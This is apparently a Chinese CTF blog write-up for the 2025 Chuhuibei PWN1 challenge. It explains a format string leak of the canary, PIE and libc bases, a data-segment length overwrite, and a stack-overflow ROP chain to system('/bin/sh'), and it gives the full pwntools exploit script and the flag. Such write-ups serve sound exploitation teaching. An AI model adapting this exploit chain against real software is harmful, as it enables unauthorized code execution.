2025楚慧杯pwn题解

PWN1

ida打开

attachments/Pasted image 20260310160609.png
attachments/Pasted image 20260310160609.png

确认各个函数大概用途
容易发现change分支存在格式化字符串漏洞
attachments/Pasted image 20260310160651.png
attachments/Pasted image 20260310160651.png

查看保护
attachments/Pasted image 20260310160737.png
attachments/Pasted image 20260310160737.png

保护全开,但格式化字符串可以泄露canary的值
继续查看ida,发现edit的输入长度由data段上的一个值决定
attachments/Pasted image 20260310160847.png
attachments/Pasted image 20260310160847.png

attachments/Pasted image 20260310160855.png
attachments/Pasted image 20260310160855.png

通过格式化字符串漏洞也能修改data段上的值,修改成一个大值后就可以进行栈溢出
此时我们还需要pie偏移地址来确定nbytes的地址,libc的基地址来确定system函数和/bin/sh字符串的地址,这些都可以在泄露canary时一并解决
attachments/Pasted image 20260310161217.png
attachments/Pasted image 20260310161217.png

接着再触发一次格式化字符串,利用输入会残留在栈上(栈上格式化字符串漏洞)的特点,在栈上留下nbytes地址,修改nbytes的值
attachments/Pasted image 20260310161525.png
attachments/Pasted image 20260310161525.png

attachments/Pasted image 20260310161356.png
attachments/Pasted image 20260310161356.png

最后进入edit分支,利用先前泄露的canary和更改的nbytes进行栈溢出,拿到shell
attachments/Pasted image 20260310161643.png
attachments/Pasted image 20260310161643.png

attachments/5df119b92257ac3baf072d7c744802eb 1.png
attachments/5df119b92257ac3baf072d7c744802eb 1.png

flag: COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse
完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/bin/python
# -*- coding: utf-8 -*-
"""
@author: a4
@date: 2026-03-10
"""
def menu(idx):
io.recvuntil(b">> ")
io.sendline(str(idx).encode())
return

def add():
menu(1)
return

def change(name):
menu(2)
io.sendlineafter(b"name:\n", name)
return

def edit(content):
menu(3)
io.sendlineafter(b"content\n", content)
return

def show():
menu(4)
return


def main():

buf = b"canary:%13$p;libc:%21$p;base:%15$p;"
change(buf)
io.recvuntil(b"canary:")
canary = int(io.recvuntil(b";", drop=True),16)
io.recvuntil(b"libc:")
magic_num_1 = 0x76173ce62083-0x76173ce3e000
libc.address = int(io.recvuntil(b";", drop=True), 16) - magic_num_1
system = libc.sym["system"]

io.recvuntil(b"base:")
magic_num_2 = 0x5d583181747c - 0x5d5831816000
base = int(io.recvuntil(b";", drop=True), 16) - magic_num_2
nbytes = base + 0x4010

buf = b"a%9999c%8$hn%8$p"
buf+= p64(nbytes)
change(buf)

pop_rdi = base + 0x0000000000001503
retn = base + 0x1504
buf = b"a"*0x48 + p64(canary) + p64(0xdeadbeef) + p64(retn) + p64(pop_rdi) + p64(next(libc.search("/bin/sh"))) + p64(system)
edit(buf)
print("canary", hex(canary))
print("libc.address", hex(libc.address))
print("system", hex(system))
print("base", hex(base))
print("nbytes", hex(nbytes))
return
from pwn import *
from LibcSearcher import *
import sys
if len(sys.argv) == 1:
print("\033[33mPlease input binary name or remote target.\033[0m")
sys.exit(1)
BINARY = sys.argv[1]
if len(sys.argv) == 3:
if ":" in sys.argv[2]:
TARGET = sys.argv[2].split(":")
io = remote(TARGET[0], TARGET[1])
else:
io = process(BINARY)
else:
io = process(['gdbserver', '--no-disable-randomization', ':1234', BINARY])
elf = ELF(BINARY)
libc = elf.libc
context.binary = BINARY
context.log_level = "DEBUG"

if __name__ == '__main__':
main()
io.interactive()
本作品由 automata 于 2026-03-21 20:12:42 发布
作品地址:2025楚慧杯pwn题解
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 凹凸麦塔
Logo
上一篇从链接过程看ret2dlresolve下一篇SROP及其相关结构体与调用号